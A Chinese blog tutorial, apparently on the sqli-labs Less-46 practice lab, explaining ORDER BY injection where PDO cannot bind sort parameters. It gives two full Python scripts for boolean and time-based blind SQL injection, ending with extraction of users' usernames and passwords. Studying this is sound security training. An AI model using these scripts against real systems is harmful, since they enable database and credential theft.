当前位置: 首页 > news >正文

order by布尔盲注、时间盲注

pdo防御下,order by、limit不能参数绑定,可以进行sql注入

案例:靶场的less-46

布尔盲注:

import requests
from lxml import html


def get_id_one(URL, paload):
    res = requests.get(url=URL, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one


def get_database(URL):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr(database(),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表的名称:" + s)


def get_column(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列的名称:" + s)


def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名及密码信息:" + s)


if __name__ == '__main__':
    URL = "http://localhost/Less-46/"
    # get_database(URL)
    # get_table(URL)
    # get_column(URL)
    get_result(URL)

 

时间盲注:

import requests
import datetime


def get_database(URL):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr(database(),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2

            else:
                hight = mid
                mid = (low + hight) // 2
            # print(chr(mid), mid)
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表的名称:" + s)


def get_column(URL):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列的名称:" + s)


def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),id) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名及密码信息:" + s)


if __name__ == '__main__':
    URL = "http://localhost/Less-46/"
    # get_database(URL)
    # get_table(URL)
    # get_column(URL)
    get_result(URL)

相关文章:

  • 【算法通关村 Day11】位运算
  • 计算机三级网络技术备考(2)
  • vue测试:单元测试、组件测试、端到端测试
  • Cuckoo Hashing的变体:多哈希表多槽位版本
  • SOME/IP-SD -- 协议英文原文讲解4
  • 为AI聊天工具添加一个知识系统 之123 详细设计之64 人类文化和习俗,即文化上的差异-根本差异
  • 如何搭建起成熟的团队知识文档管理系统
  • 仿真环境下实现场景切换、定位物体和导航行走
  • RK3588--MIPI屏幕选型以及底板设计要点
  • JUC (java. util.concurrent) 的常见类及创建新线程的方法等 [Java EE 初阶]
  • Springboot快速接入豆包大模型
  • 【二分查找 图论】P8794 [蓝桥杯 2022 国 A] 环境治理|普及
  • C++中的多重继承
  • 品牌设计分析模版
  • DeepSeek的100个实用提示词模板
  • 如何让 Git 管理本地项目
  • 使用Jenkins实现Windows服务器下C#应用程序发布
  • Deepseek开源周,第二天:Deep EP
  • OkHttp、Retrofit、RxJava:一文讲清楚
  • Wasserstein 距离(Wasserstein Distance)
  • 浙商银行一季度净赚超59亿微增0.61%,非息净收入降逾22%
  • 招行一季度净利372.86亿降2.08%,营收降逾3%
  • 烟花、美食和购物优惠都安排上了,上海多区开启热闹模式
  • 市场监管总局:2024年查办商标、专利等领域违法案件4.4万件
  • 卸任兰大校长后,严纯华院士重返北大作报告
  • 一场与纪录并行的伦敦马拉松,超40项新世界纪录诞生